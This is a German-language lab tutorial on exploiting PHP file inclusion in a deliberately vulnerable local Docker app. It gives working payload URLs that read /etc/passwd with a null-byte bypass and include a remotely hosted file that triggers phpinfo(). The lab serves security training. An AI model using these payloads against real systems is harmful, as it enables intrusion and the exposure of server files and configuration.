Einführung
In diesem Lab lernen Sie, wie Sie lokale und remote Dateieinbindungs-Schwachstellen ausnutzen können. Dateieinbindungs-Schwachstellen treten auf, wenn Benutzereingaben nicht ordnungsgemäß bereinigt werden und zur Einbindung von Dateien auf dem Server verwendet werden. Dies kann zur Offenlegung sensibler Daten, zur Ausführung von Remote-Code und zu anderen schwerwiegenden Folgen führen. Indem Sie die in diesem Lab verwendeten Techniken und Payloads verstehen, erhalten Sie praktische Erfahrungen bei der Identifizierung und Ausnutzung dieser Schwachstellen.
Aufsetzen der Umgebung
In dieser Phase werden wir eine Lab-Umgebung einrichten, um unsere Fähigkeiten bei der Ausnutzung von Dateieinbindungs-Schwachstellen zu verbessern.
Zunächst führen Sie den folgenden Befehl aus, um die anfällige Webanwendung zu starten:
docker run -d -p 81:80 --name pentesterlab-phpfileinclude jewel591/vulnbox:pentesterlab-phpfileinclude /bin/sh -c "sed -i 's/allow_url_include = Off/allow_url_include = On/g' /etc/php/7.3/apache2/php.ini && service apache2 start && service mysql start && tail -f /var/log/apache2/error.log" --registry-mirror=http://hub-mirror.c.163.com
Dieser Befehl startet einen Docker-Container mit einer anfälligen Webanwendung, die auf Port 81 läuft.
Anschließend öffnen Sie Ihren Webbrowser und navigieren Sie zu http://127.0.0.1:81. Sie sollten die Startseite der Webanwendung sehen.
Identifizierung von Dateieinbindungs-Schwachstellen
In dieser Phase werden wir uns der Identifizierung möglicher Dateieinbindungs-Schwachstellen durch die Prüfung von URL-Parametern widmen.
Auf der Startseite der Webanwendung drücken Sie die Schaltflächen "Submit" und "Login". Achten Sie auf die URL in der Adressleiste Ihres Browsers. Sie sollten bemerken, dass sich die URL gemäß dem page-Parameter ändert, wie z. B. http://127.0.0.1:81/index.php?page=submit und http://127.0.0.1:81/index.php?page=login.
Dieses Muster deutet darauf hin, dass die Webanwendung möglicherweise Benutzer-Eingaben unsicher verarbeitet, was möglicherweise zu einer Dateieinbindungs-Schwachstelle führen könnte.
Bestätigung der Schwachstelle
In dieser Phase werden wir untersuchen, wie man eine Dateieinbindungs-Schwachstelle nachweisen kann. Es gibt zwei gängige Methoden:
Array-Parameter-Methode: Ändern Sie den
page-Parameter in ein Array. Beispielsweisehttp://localhost:81/index.php?page[]=test. Wenn Sie eine Warnung oder Fehlermeldung sehen, die "include" oder "failed to open stream" erwähnt, deutet dies auf eine potenzielle Schwachstelle hin, da die Anwendung versucht, Dateien basierend auf Benutzereingaben einzubinden.Test auf lokale Dateieinbindung: Versuchen Sie, eine lokale Datei auf dem Server einzubinden, wie z. B.
/etc/passwdauf Linux oderC:\Windows\System32\drivers\etc\hostsauf Windows. Wenn der Inhalt der Datei angezeigt wird, ist eine lokale Dateieinbindungs-Schwachstelle bestätigt.
Für diese Lektion verwenden wir die zweite Methode, indem wir die Datei /etc/passwd einbinden:
http://localhost:81/index.php?page=/etc/passwd
Sie werden wahrscheinlich eine Fehlermeldung sehen, die darauf hinweist, dass die Anwendung versucht, /etc/passwd.php anstelle von /etc/passwd einzubinden. Dies geschieht, weil die Anwendung automatisch .php an die eingebundene Datei anhängt.
Um dies zu umgehen, können wir die Null-Byte-Technik (%00) einsetzen. Das Null-Byte beendet die Zeichenkette, wodurch die Anwendung alles, was danach folgt, ignoriert.
Versuchen Sie die folgende Payload:
http://localhost:81/index.php?page=/etc/passwd%00
Wenn Sie den Inhalt der Datei /etc/passwd sehen können, ist die Existenz einer lokalen Dateieinbindungs-Schwachstelle bestätigt.
Ausnutzung der Remote-Dateieinbindung
In dieser Phase werden wir uns mit dem Konzept der Remote-Dateieinbindung (Remote File Inclusion, RFI) und ihren potenziellen Schwachstellen befassen.
Die Remote-Dateieinbindung ist ein kritischer Aspekt, der es einem Angreifer möglicherweise erlaubt, Dateien von externen Servern einzubinden. Dies kann zu schwerwiegenden Sicherheitsverletzungen wie der Ausführung von Remote-Code oder der Offenlegung sensibler Daten führen.
Beginnen wir mit einem Beispiel, in dem wir versuchen, eine auf einem externen Server gehostete Remote-Datei einzubinden:
http://localhost:81/index.php?page=https://www.example.com/index.html%00
Nach der Ausführung sollten Sie den Inhalt der Remote-Datei in der Antwort der Webanwendung sehen können.
In einer realen Situation würde ein Angreifer normalerweise seine eigene bösartige Payload auf einem von ihm kontrollierten Server hosten und dann versuchen, sie mithilfe der Remote-Dateieinbindungs-Schwachstelle einzubinden.
Zu Demonstrationszwecken verwenden wir eine bereits gehostete Payload von der PentesterLab-Website:
http://localhost:81/index.php?page=https://assets.pentesterlab.com/test_include.txt%00
Diese Payload löst die phpinfo()-Funktion aus, die Informationen über die PHP-Konfiguration des Servers preisgibt.
Denken Sie daran, dass dies eine Demonstration einer potenziellen Schwachstelle ist. Beim Entwickeln eigener Anwendungen ist es von entscheidender Bedeutung, geeignete Sicherheitsmaßnahmen zu implementieren, um solche Angriffe zu verhindern. Im nächsten Abschnitt werden wir einige dieser Sicherheitsverfahren besprechen.
Zusammenfassung
In diesem Lab haben Sie gelernt, wie Sie Dateieinbindungs-Schwachstellen sowohl lokal als auch remote identifizieren und ausnutzen können. Sie haben eine anfällige Webanwendung eingerichtet, URL-Parameter analysiert, um potenzielle Schwachstellen zu erkennen, die Existenz von Dateieinbindungs-Schwachstellen mit verschiedenen Techniken bestätigt und schließlich sowohl lokale als auch remote Dateieinbindungs-Schwachstellen ausgenutzt. Das Verständnis dieser Schwachstellen und ihrer Ausnutzungsmethoden ist von entscheidender Bedeutung für die Sicherheitsüberprüfung von Webanwendungen und für den Schutz sensibler Daten und Systeme.